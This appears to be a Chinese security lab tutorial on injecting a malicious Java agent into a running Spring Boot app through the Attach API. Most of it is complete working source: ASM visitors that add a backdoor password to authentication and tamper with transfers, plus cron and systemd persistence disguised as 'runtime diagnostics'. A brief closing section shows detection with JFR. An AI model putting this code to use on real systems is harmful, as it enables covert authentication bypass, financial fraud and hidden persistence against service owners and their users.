ASM 劫持:绕过、篡改与无痕驻留
通过Attach API动态注入Agent,利用ASM在字节码层面改写目标类的方法体,实现认证逻辑的运行时绕过、业务逻辑的精确篡改,以及Agent自身的无痕持久化。
一、攻击链全景
1.1 完整攻击链路

1.2 Agent注入时序图

1.3 字节码改写前后对比

二、技术原理
2.1 Java Instrumentation机制内部工作流
JVM自JDK 5起提供java.lang.instrument包,允许通过Agent对已加载的类进行重定义(redefine)或重转换(retransform)。需要区分两个关键操作:
操作 | 方法 | 约束 | 适用场景 |
Redefine |
| 不能增删方法/字段,不能改变继承关系 | 方法体内部逻辑修改 |
Retransform |
| 同上约束,但可回滚到原始版本 | 可逆的运行时修改 |
两者的核心限制相同:不能改变类的结构签名(schema)。这意味着不能添加新方法、新字段或改变方法签名。但方法体内部的字节码可以完全替换——这对于攻击者来说已经足够,因为认证逻辑、业务判断都发生在方法体内部。

2.2 Attach API底层机制
Attach API的通信机制基于Unix域套接字。当调用VirtualMachine.attach(pid)时,底层执行以下步骤:
- 向目标JVM进程发送
SIGQUIT信号(在Linux上); - 目标JVM的Signal Dispatcher线程接收信号后,检查
/tmp/.attach_pid<pid>文件是否存在; - 若文件存在(由attacher创建),JVM启动Attach Listener线程;
- Attach Listener创建Unix域套接字
/tmp/.java_pid<pid>; - attacher通过该套接字发送命令(如
load instrument agent.jar); - 目标JVM加载Agent JAR,调用其
agentmain方法。

三、实验环境搭建
3.1 系统环境
- Kali linux 2026.1
- jdk-21
- Apache Maven 3.9.12
3.2 目标应用完整代码
3.2.1 项目结构

3.2.2 pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.victim</groupId>
<artifactId>target-app</artifactId>
<version>1.0.0</version>
<packaging>jar</packaging>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.4.1</version>
<relativePath/>
</parent>
<properties>
<java.version>21</java.version>
<maven.compiler.source>21</maven.compiler.source>
<maven.compiler.target>21</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.14.0</version>
<configuration>
<source>24</source>
<target>24</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
3.2.3 Application.java(启动类)
package com.victim;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}3.2.4 AuthService.java
package com.victim.service;
import org.springframework.stereotype.Service;
import java.security.MessageDigest;
import java.nio.charset.StandardCharsets;
import java.util.HexFormat;
@Service
public class AuthService {
// "admin"的SHA-256哈希值
// 验证: echo -n "admin" | sha256sum → 8c6976e5b541...a918
private static final String ADMIN_HASH =
"8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918";
/**
* 认证核心方法——攻击者首要目标。
*
* @param username 用户名
* @param password 明文密码
* @return true=认证通过, false=认证失败
*/
public boolean authenticate(String username, String password) {
if (username == null || password == null) {
return false;
}
try {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
byte[] hash = digest.digest(password.getBytes(StandardCharsets.UTF_8));
String hexHash = HexFormat.of().formatHex(hash);
if ("admin".equals(username) && ADMIN_HASH.equals(hexHash)) {
return true;
}
return false;
} catch (Exception e) {
return false;
}
}
}3.2.5 TransferService.java
package com.victim.service;
import org.springframework.stereotype.Service;
import java.math.BigDecimal;
@Service
public class TransferService {
public String transfer(String fromAccount, String toAccount, BigDecimal amount) {
if (amount.compareTo(BigDecimal.ZERO) <= 0) {
return "FAILED: Invalid amount";
}
if (amount.compareTo(new BigDecimal("1000000")) > 0) {
return "FAILED: Exceeds single transaction limit";
}
System.out.println("[TRANSFER] " + fromAccount + " -> " + toAccount + ": $" + amount);
return "SUCCESS: Transferred $" + amount + " from " + fromAccount + " to " + toAccount;
}
}3.2.6 AuthController.java
package com.victim.controller;
import com.victim.service.AuthService;
import com.victim.service.TransferService;
import org.springframework.web.bind.annotation.*;
import java.math.BigDecimal;
@RestController
public class AuthController {
private final AuthService authService;
private final TransferService transferService;
public AuthController(AuthService authService, TransferService transferService) {
this.authService = authService;
this.transferService = transferService;
}
@PostMapping("/login")
public String login(@RequestParam String username,
@RequestParam String password) {
boolean result = authService.authenticate(username, password);
return result ? "LOGIN_SUCCESS" : "LOGIN_FAILED";
}
@PostMapping("/transfer")
public String transfer(@RequestParam String from,
@RequestParam String to,
@RequestParam String amount) {
return transferService.transfer(from, to, new BigDecimal(amount));
}
}3.3 编译运行与测试
3.3.1 编译目标应用
cd ~/asm-hijack-lab/target-app
mvn clean package -DskipTests
3.3.2 启动目标应用
java -jar target/target-app-1.0.0.jar &
3.3.3 记录PID
echo 171751 > /tmp/target.pid![]()
3.3.4 正常行为测试
正确密码 → 应返回LOGIN_SUCCESS
curl -s -X POST "http://localhost:8080/login?username=admin&password=admin"
错误密码 → 应返回LOGIN_FAILED
curl -s -X POST "http://localhost:8080/login?username=admin&password=wrongpass"
后门密码→ 应返回LOGIN_FAILED
curl -s -X POST "http://localhost:8080/login?username=admin&password=__rt_diag__"
这时候是注入前,理应就是失败。(用于和注入后形成对比参照)
正常转账
curl -s -X POST "http://localhost:8080/transfer?from=ACCT-001&to=ACCT-002&amount=100"
3.4 使用javap分析目标字节码
在编写ASM改写代码前,必须先分析目标方法的原始字节码结构,确认方法描述符、局部变量表布局和操作数栈深度。
从Spring Boot fat JAR中提取目标class文件
cd ~/asm-hijack-lab/target-app
unzip -o target/target-app-1.0.0.jar \
BOOT-INF/classes/com/victim/service/AuthService.class \
-d /tmp/extract
使用javap反编译字节码
$ javap -c -p -v /tmp/extract/BOOT-INF/classes/com/victim/service/AuthService.class
关键输出片段(authenticate方法):

含义:(参数1类型;参数2类型)返回类型
Ljava/lang/String;→ String 参数Z→ boolean 返回值
ASM 中定位方法靠的就是 方法名 + descriptor。写 Transformer 时必须精确匹配:
if (name.equals("authenticate")
&& descriptor.equals("(Ljava/lang/String;Ljava/lang/String;)Z")) {
// 找到目标方法,开始篡改
}写错 descriptor 就找不到目标方法。

slot 0 = this,slot 1 = username,slot 2 = password,这些信息直接用于ASM代码中的
ALOAD指令编号;slot 3 被digest和e复用,分界点是偏移 62(catch 入口)。ASM 注入如果在偏移 10-61 范围使用astore_3,会覆盖 digest 对象;在偏移 62 之后操作 slot 3 则是 Exception 引用。
四、恶意Agent工程
4.1 项目结构与Maven配置
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.agent</groupId>
<artifactId>malicious-agent</artifactId>
<version>1.0.0</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.source>21</maven.compiler.source>
<maven.compiler.target>21</maven.compiler.target>
<asm.version>9.7.1</asm.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>${asm.version}</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-commons</artifactId>
<version>${asm.version}</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.14.0</version>
<configuration>
<source>21</source>
<target>21</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.4.2</version>
<configuration>
<archive>
<manifestEntries>
<Agent-Class>com.agent.AgentMain</Agent-Class>
<Premain-Class>com.agent.AgentMain</Premain-Class>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Main-Class>com.agent.Injector</Main-Class>
</manifestEntries>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.6.0</version>
<executions>
<execution>
<phase>package</phase>
<goals><goal>shade</goal></goals>
<configuration>
<relocations>
<relocation>
<pattern>org.objectweb.asm</pattern>
<shadedPattern>com.agent.shaded.asm</shadedPattern>
</relocation>
</relocations>
<filters>
<filter>
<artifact>*:*</artifact>
<excludes>
<exclude>META-INF/*.SF</exclude>
<exclude>META-INF/*.DSA</exclude>
<exclude>META-INF/*.RSA</exclude>
</excludes>
</filter>
</filters>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>MANIFEST关键点解析:
• Agent-Class:通过Attach API的loadAgent()加载时,JVM查找此属性定位agentmain方法
• Premain-Class:通过-javaagent参数启动时,JVM查找此属性定位premain方法(持久化场景使用)
• Can-Retransform-Classes: true:必须声明,否则addTransformer(tf, true)会抛出UnsupportedOperationException
• Main-Class:允许JAR直接作为可执行文件运行Injector
4.2 AgentMain.java
package com.agent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMain {
private static volatile Instrumentation savedInstrumentation;
/**
* Attach API入口:目标JVM已在运行中时调用。
*/
public static void agentmain(String agentArgs, Instrumentation inst) {
doMain(agentArgs, inst);
}
/**
* -javaagent入口:JVM启动时调用(持久化后使用此路径)。
*/
public static void premain(String agentArgs, Instrumentation inst) {
doMain(agentArgs, inst);
}
private static void doMain(String agentArgs, Instrumentation inst) {
savedInstrumentation = inst;
// 伪装为正常运行时模块的日志输出
System.out.println("[RT-Support] Initializing runtime diagnostics module v2.1.0");
// 创建并注册Transformer
HijackTransformer transformer = new HijackTransformer();
inst.addTransformer(transformer, true);
// 触发已加载目标类的retransform
retransformTargetClasses(inst);
// 改写完成后立即移除Transformer(反检测)
inst.removeTransformer(transformer);
// 设置系统属性标记(供持久化检测使用)
System.setProperty("jvm.rt.diag.loaded", "1");
// 后台线程执行持久化安装
Thread t = new Thread(() -> {
try {
Thread.sleep(3000); // 延迟3秒,避免与Attach操作时序冲突
String agentPath = AgentMain.class.getProtectionDomain()
.getCodeSource().getLocation().getPath();
// URL decode处理路径中的空格等特殊字符
agentPath = java.net.URLDecoder.decode(agentPath, "UTF-8");
PersistenceManager.install(agentPath);
} catch (Exception ignored) {}
}, "JVM-GC-Monitor-Worker"); // 线程名伪装
t.setDaemon(true);
t.start();
System.out.println("[RT-Support] Diagnostics module ready.");
}
private static void retransformTargetClasses(Instrumentation inst) {
String[] targets = {
"com.victim.service.AuthService",
"com.victim.service.TransferService"
};
for (Class<?> loadedClass : inst.getAllLoadedClasses()) {
String name = loadedClass.getName();
for (String target : targets) {
if (name.equals(target)) {
try {
inst.retransformClasses(loadedClass);
System.out.println("[RT-Support] Patched: " + name);
} catch (UnmodifiableClassException e) {
System.err.println("[RT-Support] Cannot patch: " + name);
}
break;
}
}
}
}
public static Instrumentation getInstrumentation() {
return savedInstrumentation;
}
}4.3 HijackTransformer.java
package com.agent;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import org.objectweb.asm.*;
public class HijackTransformer implements ClassFileTransformer {
private static final String AUTH_SERVICE = "com/victim/service/AuthService";
private static final String TRANSFER_SERVICE = "com/victim/service/TransferService";
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if (className == null) {
return null;
}
try {
if (AUTH_SERVICE.equals(className)) {
return rewrite(classfileBuffer, new AuthBypassVisitor(Opcodes.ASM9, null));
}
if (TRANSFER_SERVICE.equals(className)) {
return rewrite(classfileBuffer, null); // 使用专用方法
}
} catch (Exception e) {
// 静默失败:保持原始字节码,避免破坏目标应用
System.err.println("[RT-Support] Transform error on " + className + ": " + e);
return null;
}
return null;
}
private byte[] rewrite(byte[] original, ClassVisitor visitorPrototype) {
ClassReader cr = new ClassReader(original);
// COMPUTE_FRAMES让ASM自动计算StackMapTable,消除手动计算的错误风险
// 传入cr作为参数启用"优化模式":未修改的方法直接复制,不重新计算
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv;
if (visitorPrototype instanceof AuthBypassVisitor) {
cv = new AuthBypassVisitor(Opcodes.ASM9, cw);
} else {
cv = new TransferHijackVisitor(Opcodes.ASM9, cw);
}
// SKIP_FRAMES: 因为COMPUTE_FRAMES会重算所有帧,跳过原始帧信息避免冲突
cr.accept(cv, ClassReader.SKIP_FRAMES);
return cw.toByteArray();
}
}COMPUTE_FRAMES + SKIP_FRAMES组合的意义:
使用ClassWriter.COMPUTE_FRAMES标志时,ASM会自动计算所有方法的StackMapTable(帧信息),这意味着我们在MethodVisitor中不需要手动调用visitFrame()。同时,在ClassReader.accept()时传入SKIP_FRAMES标志,跳过原始class中的帧信息(否则会与自动计算的结果冲突)。这个组合是处理分支插入时避免VerifyError的最可靠方式。
4.4 AuthBypassVisitor.java
package com.agent;
import org.objectweb.asm.*;
/**
* 认证绕过Visitor。
*
* 改写效果等价于在方法开头插入:
* if ("__rt_diag__".equals(password)) return true;
*
* 由于使用COMPUTE_FRAMES,无需手动声明visitFrame。
*/
public class AuthBypassVisitor extends ClassVisitor {
public AuthBypassVisitor(int api, ClassVisitor cv) {
super(api, cv);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (mv == null) return null;
// 精确匹配:方法名 + 描述符(避免误改重载方法)
if ("authenticate".equals(name)
&& "(Ljava/lang/String;Ljava/lang/String;)Z".equals(descriptor)) {
return new AuthMethodAdapter(api, mv);
}
return mv;
}
private static class AuthMethodAdapter extends MethodVisitor {
public AuthMethodAdapter(int api, MethodVisitor mv) {
super(api, mv);
}
@Override
public void visitCode() {
super.visitCode();
// ──────────────────────────────────────────────────────────────
// 插入的字节码指令序列:
//
// LDC "__rt_diag__" ; 将后门密码压栈
// ALOAD 2 ; 加载password参数 (slot 2)
// INVOKEVIRTUAL String.equals(Object)Z
// IFEQ label_original ; equals返回false → 跳转到原始逻辑
// ICONST_1 ; true
// IRETURN ; return true(认证通过)
// label_original:
// ... 原始方法体继续 ...
// ──────────────────────────────────────────────────────────────
Label originalLogic = new Label();
// 后门密码常量 → 栈顶
mv.visitLdcInsn("__rt_diag__");
// 加载password参数 (实例方法: slot0=this, slot1=username, slot2=password)
mv.visitVarInsn(Opcodes.ALOAD, 2);
// 调用 "__rt_diag__".equals(password)
mv.visitMethodInsn(
Opcodes.INVOKEVIRTUAL,
"java/lang/String",
"equals",
"(Ljava/lang/Object;)Z",
false
);
// IFEQ: 若栈顶int == 0 (false),跳转到原始逻辑
mv.visitJumpInsn(Opcodes.IFEQ, originalLogic);
// 匹配成功:return true
mv.visitInsn(Opcodes.ICONST_1);
mv.visitInsn(Opcodes.IRETURN);
// 原始逻辑起始标签(COMPUTE_FRAMES自动处理帧状态)
mv.visitLabel(originalLogic);
}
}
}4.5 操作数栈状态

4.6 TransferHijackVisitor.java
package com.agent;
import org.objectweb.asm.*;
/**
* 转账逻辑篡改Visitor。
*
* 策略:在transfer方法每个ARETURN指令前插入佣金逻辑。
* 仅对返回值以"SUCCESS"开头的成功交易执行副作用。
*
* 由于使用COMPUTE_FRAMES + SKIP_FRAMES组合,不需要手动visitFrame。
*/
public class TransferHijackVisitor extends ClassVisitor {
private static final String ATTACKER_ACCOUNT = "OFFSHORE-8829-XX";
public TransferHijackVisitor(int api, ClassVisitor cv) {
super(api, cv);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (mv == null) return null;
if ("transfer".equals(name)
&& "(Ljava/lang/String;Ljava/lang/String;Ljava/math/BigDecimal;)Ljava/lang/String;"
.equals(descriptor)) {
return new TransferMethodAdapter(api, mv);
}
return mv;
}
private static class TransferMethodAdapter extends MethodVisitor {
public TransferMethodAdapter(int api, MethodVisitor mv) {
super(api, mv);
}
@Override
public void visitInsn(int opcode) {
if (opcode == Opcodes.ARETURN) {
// 在ARETURN前插入佣金逻辑
injectCommission();
}
super.visitInsn(opcode);
}
private void injectCommission() {
// ══════════════════════════════════════════════════════════
// 此时操作数栈状态: [..., returnValue(String)]
// 目标: 检查returnValue是否以"SUCCESS"开头,是则打印佣金日志
// 要求: 不改变栈状态,returnValue仍留在栈顶供ARETURN使用
// ══════════════════════════════════════════════════════════
// 复制栈顶的返回值(DUP后栈: [..., returnValue, returnValue])
mv.visitInsn(Opcodes.DUP);
// 调用 returnValue.startsWith("SUCCESS")
mv.visitLdcInsn("SUCCESS");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String",
"startsWith", "(Ljava/lang/String;)Z", false);
// 栈: [..., returnValue, startsWith_result(int)]
Label skip = new Label();
mv.visitJumpInsn(Opcodes.IFEQ, skip);
// 进入此分支时栈: [..., returnValue]
// ── 佣金日志输出 ──
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System",
"out", "Ljava/io/PrintStream;");
// 构建字符串: "[COMMISSION] " + fromAccount + " -> OFFSHORE-8829-XX: $0.01"
mv.visitTypeInsn(Opcodes.NEW, "java/lang/StringBuilder");
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/StringBuilder",
"<init>", "()V", false);
mv.visitLdcInsn("[COMMISSION] ");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
"append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
// 加载fromAccount参数 (slot 1)
mv.visitVarInsn(Opcodes.ALOAD, 1);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
"append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
mv.visitLdcInsn(" -> " + ATTACKER_ACCOUNT + ": $0.01");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
"append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
"toString", "()Ljava/lang/String;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream",
"println", "(Ljava/lang/String;)V", false);
// skip标签处:栈状态仍为 [..., returnValue]
mv.visitLabel(skip);
// ARETURN将由super.visitInsn(opcode)发出
}
}
}4.7 操作数栈状态追踪——TransferHijackVisitor

4.8 Injector.java
package com.agent;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.List;
/**
* Agent注入器。
*
* 用法:
* java --add-modules jdk.attach -jar malicious-agent-1.0.0.jar [pid | keyword]
*
* 示例:
* java --add-modules jdk.attach -jar malicious-agent-1.0.0.jar 28451
* java --add-modules jdk.attach -jar malicious-agent-1.0.0.jar target-app
*/
public class Injector {
public static void main(String[] args) {
System.out.println("[*] ASM Bytecode Injector v1.0");
// 解析Agent JAR路径(与Injector在同一JAR中)
String agentPath = resolveAgentPath();
System.out.println("[*] Agent JAR: " + agentPath);
// 确定目标PID
String targetPid = resolveTargetPid(args);
if (targetPid == null) {
System.err.println("[-] No target JVM found. Usage: Injector [pid|keyword]");
System.err.println("[-] Available JVMs:");
VirtualMachine.list().forEach(vmd ->
System.err.println(" PID " + vmd.id() + ": " + vmd.displayName())
);
System.exit(1);
}
System.out.println("[*] Target PID: " + targetPid);
// 执行注入
try {
System.out.println("[*] Attaching to target JVM...");
VirtualMachine vm = VirtualMachine.attach(targetPid);
System.out.println("[*] Loading agent...");
vm.loadAgent(agentPath);
vm.detach();
System.out.println("[+] Agent injected successfully!");
} catch (Exception e) {
System.err.println("[-] Injection FAILED: " + e.getMessage());
if (e.getMessage() != null && e.getMessage().contains("not attach")) {
System.err.println("[-] Hint: Ensure you run as the same user as the target JVM");
System.err.println("[-] Hint: Check if -XX:+DisableAttachMechanism is set");
}
System.exit(1);
}
}
private static String resolveAgentPath() {
try {
String path = Injector.class.getProtectionDomain()
.getCodeSource().getLocation().toURI().getPath();
return new File(path).getAbsolutePath();
} catch (Exception e) {
// 回退:从当前目录查找
File fallback = new File("target/malicious-agent-1.0.0.jar");
if (fallback.exists()) {
return fallback.getAbsolutePath();
}
throw new RuntimeException("Cannot resolve agent JAR path", e);
}
}
private static String resolveTargetPid(String[] args) {
if (args.length == 0) {
return findPidByKeyword("target-app");
}
String arg = args[0];
if (arg.matches("\\d+")) {
return arg; // 直接PID
}
return findPidByKeyword(arg); // 关键字搜索
}
private static String findPidByKeyword(String keyword) {
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vms) {
if (vmd.displayName().contains(keyword)) {
return vmd.id();
}
}
return null;
}
}4.9 PersistenceManager.java
package com.agent;
import java.io.*;
import java.nio.file.*;
import java.nio.charset.StandardCharsets;
public class PersistenceManager {
private static final String AGENT_HIDDEN_PATH = "/dev/shm/.jvm-cache/rt-support.jar";
public static void install(String agentSourcePath) {
try {
// 1. 复制Agent到tmpfs(内存文件系统,不写入物理磁盘)
Path hiddenDir = Paths.get("/dev/shm/.jvm-cache");
Files.createDirectories(hiddenDir);
Path source = Paths.get(agentSourcePath);
if (Files.exists(source)) {
Files.copy(source, Paths.get(AGENT_HIDDEN_PATH),
StandardCopyOption.REPLACE_EXISTING);
}
// 2. 创建重注入脚本
String script = "#!/bin/bash\n"
+ "# JVM Runtime Health Check\n"
+ "TARGET_PID=$(pgrep -f 'target-app.*\\.jar' | head -1)\n"
+ "if [ -n \"$TARGET_PID\" ]; then\n"
+ " LOADED=$(jcmd $TARGET_PID VM.system_properties 2>/dev/null"
+ " | grep 'jvm.rt.diag.loaded')\n"
+ " if [ -z \"$LOADED\" ]; then\n"
+ " java --add-modules jdk.attach -jar " + AGENT_HIDDEN_PATH
+ " $TARGET_PID >/dev/null 2>&1\n"
+ " fi\n"
+ "fi\n";
Path scriptPath = hiddenDir.resolve("health-check.sh");
Files.writeString(scriptPath, script);
scriptPath.toFile().setExecutable(true);
// 3. 安装crontab条目
installCron(scriptPath.toString());
} catch (Exception e) {
// 持久化是可选的增强功能,失败不影响当前注入效果
}
}
private static void installCron(String scriptPath) throws Exception {
// 读取现有crontab
ProcessBuilder pb = new ProcessBuilder("crontab", "-l");
pb.redirectErrorStream(true);
Process p = pb.start();
String existing = new String(p.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
p.waitFor();
// 幂等检查
if (existing.contains("health-check.sh")) {
return;
}
// 追加cron任务
String newCrontab = existing
+ "\n# JVM runtime health monitoring\n"
+ "*/5 * * * * " + scriptPath + " >/dev/null 2>&1\n";
pb = new ProcessBuilder("crontab", "-");
p = pb.start();
p.getOutputStream().write(newCrontab.getBytes(StandardCharsets.UTF_8));
p.getOutputStream().close();
p.waitFor();
}
}五、编译、注入与验证
5.1 编译Agent项目
编译恶意Agent
cd ~/asm-hijack-lab/malicious-agent
mvn clean package
检查产物大小

- 183K — 包含了 ASM 库(asm + asm-commons 约 150K+),说明依赖已被打包进 fat jar,agent 可以独立运行
- 如果只有几 KB — 说明 shade 失败,ASM 没有打进去,agent 运行时会抛
ClassNotFoundException: org.objectweb.asm.*
Java Agent 通过
-javaagent或 Attach API 加载时,不会使用目标应用的 classpath,只能访问自身 jar 内的类。所以必须确认所有依赖都已内嵌。
验证MANIFEST.MF内容
unzip -p target/malicious-agent-1.0.0.jar META-INF/MANIFEST.MF
这一步是验证 MANIFEST.MF 中的 Agent 关键属性能正确写入。
属性 | 作用 |
| JVM 启动时通过 |
| 运行时通过 Attach API 动态注入的入口类 |
| 允许对已加载的类进行重新转换(字节码篡改) |
| 允许重新定义已加载的类 |
| 直接 |
如果这些属性缺失或拼写错误:
- 缺
Agent-Class→ Attach API 注入时 JVM 报错拒绝加载 Can-Retransform-Classes为 false 或缺失 → 无法对已加载的AuthService做字节码篡改- 缺
Premain-Class→-javaagent方式启动失败
5.2 执行注入
方式1:通过PID直接注入
java --add-modules jdk.attach \
-jar target/malicious-agent-1.0.0.jar \
$(cat /tmp/target.pid)
方式2:通过关键字自动搜索目标JVM
java --add-modules jdk.attach \
-jar target/malicious-agent-1.0.0.jar \
target-app
输出刻意伪装为无害的运维信息:
[RT-Support] Initializing runtime diagnostics module v2.1.0
[RT-Support] Diagnostics module ready.这是从受害者视角观察到的注入痕迹 — 如果攻击者去掉这些打印语句,目标端将完全无感。
意义:
- 攻击门槛低:知道进程名即可,无需 PID
- 无幂等保护:可反复注入,叠加或覆盖篡改
- 目标无感知:target-app 自身日志中可能没有任何异常记录
5.3 攻击效果验证
验证1:认证绕过——使用后门密码
curl -s -X POST "http://localhost:8080/login?username=anyone&password=__rt_diag__"
任意用户名 + 后门密码:
curl -s -X POST "http://localhost:8080/login?username=root&password=__rt_diag__"
甚至不存在的用户也可以通过。
验证2:正常认证不受影响
curl -s -X POST "http://localhost:8080/login?username=admin&password=admin"
正确密码仍然有效。
curl -s -X POST "http://localhost:8080/login?username=admin&password=wrong"
错误密码仍然被拒绝。
验证3:转账佣金篡改
curl -s -X POST "http://localhost:8080/transfer?from=ACCT-001&to=ACCT-002&amount=50000"
验证4:失败交易不触发佣金
curl -s -X POST "http://localhost:8080/transfer?from=ACCT-001&to=ACCT-002&amount=-100"
控制台无[COMMISSION]输出。
5.4 使用javap验证字节码已被改写
通过jcmd导出运行时类的字节码,使用javap反编译确认改写效果:
使用jcmd的Compiler.CodeHeap_Analytics
jcmd $(cat /tmp/target.pid) VM.system_properties | grep jvm.rt.diag
agent 代码在 agentmain 执行时调用了类似:
System.setProperty("jvm.rt.diag.loaded", "1");用于标记自身已加载,避免重复初始化。
属性名
jvm.rt.diag.loaded伪装成"运行时诊断模块",不会引起运维人员警觉。如果不是刻意搜索,很难发现这是恶意 agent 的痕迹。
反过来说,这也是防御方可以利用的检测手段:
- 定期用
jcmd <pid> VM.system_properties检查是否存在可疑属性 - 监控
System.setProperty调用 - 对比启动时和运行时的系统属性差异
六、无痕持久化
JAVA_TOOL_OPTIONS持久化
- JAVA_TOOL_OPTIONS是JVM规范定义的标准环境变量。
- 所有Java进程启动时自动读取该变量并追加到命令行参数。
- JVM启动时会在stderr输出: "Picked up JAVA_TOOL_OPTIONS: ..."
- 利用systemd drop-in机制,不修改原始service文件
将Agent放入伪装位置
sudo mkdir -p /opt/target-app/lib
sudo cp ~/asm-hijack-lab/malicious-agent/target/malicious-agent-1.0.0.jar \
/opt/target-app/lib/jvm-diagnostics-2.1.0.jar
创建systemd drop-in配置
sudo mkdir -p /etc/systemd/system/target-app.service.d
sudo tee /etc/systemd/system/target-app.service.d/jvm-tuning.conf << 'EOF'
[Service]
# JVM Performance Tuning - Applied 2026-05-09
Environment="JAVA_TOOL_OPTIONS=-javaagent:/opt/target-app/lib/jvm-diagnostics-2.1.0.jar"
EOF
先创建 systemd 服务
sudo tee /etc/systemd/system/target-app.service << 'EOF'
[Unit]
Description=Target App
After=network.target
[Service]
ExecStart=/usr/bin/java -jar /home/nl/asm-hijack-lab/target-app/target/target-app-1.0.0.jar
User=nl
WorkingDirectory=/home/nl/asm-hijack-lab/target-app
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload停掉当前手动启动的进程
kill $(cat /tmp/target.pid)下次服务重启时Agent自动加载
通过 systemd 启动
sudo systemctl start target-app在JVM stderr中会出现:
journalctl -u target-app --no-pager | head -20
这就证明了重启后 agent 自动加载,无需再手动注入。
七、检测与防御
重新启动 target-app,得到新进程 PID:209402

JFR事件监控
启动JFR持续记录
jcmd $(cat /tmp/target.pid) JFR.start \
name=security \
settings=profile \
maxage=24h \
maxsize=500m \
filename=/var/log/jfr/security.jfr这一步得给security.jfr权限,否则白干
![]()
再执行注入
java --add-modules jdk.attach \
-jar ~/asm-hijack-lab/malicious-agent/target/malicious-agent-1.0.0.jar \
$(cat /tmp/target.pid)
导出记录
jcmd $(cat /tmp/target.pid) JFR.dump name=security
查看 retransform 事件
jfr print --events jdk.RetransformClasses,jdk.ClassRedefinition /var/log/jfr/security.jfr检测到两次攻击行为:

攻击调用链
sun.instrument.InstrumentationImpl.retransformClasses0
└→ sun.instrument.InstrumentationImpl.retransformClasses line: 221
└→ com.agent.AgentMain.retransformTargetClasses line: 71
└→ com.agent.AgentMain.doMain line: 35
└→ com.agent.AgentMain.agentmain line: 14- 入口是
agentmain— 证实通过 Attach API 动态注入(非启动时加载) - 执行线程为
"Attach Listener"— JVM 专门处理动态 attach 的线程 - 完整暴露了恶意类名
com.agent.AgentMain和方法调用路径
被篡改的目标类
redefinitionId | 目标类 | ClassLoader |
2 |
| Spring Boot LaunchedClassLoader |
3 |
| Spring Boot LaunchedClassLoader |
结论
- JFR 可有效检测 ASM hijack — 记录了篡改的精确时间、目标类、调用栈
- 攻击完全可溯源 — 恶意 agent 的包名、类名、方法名、行号全部暴露
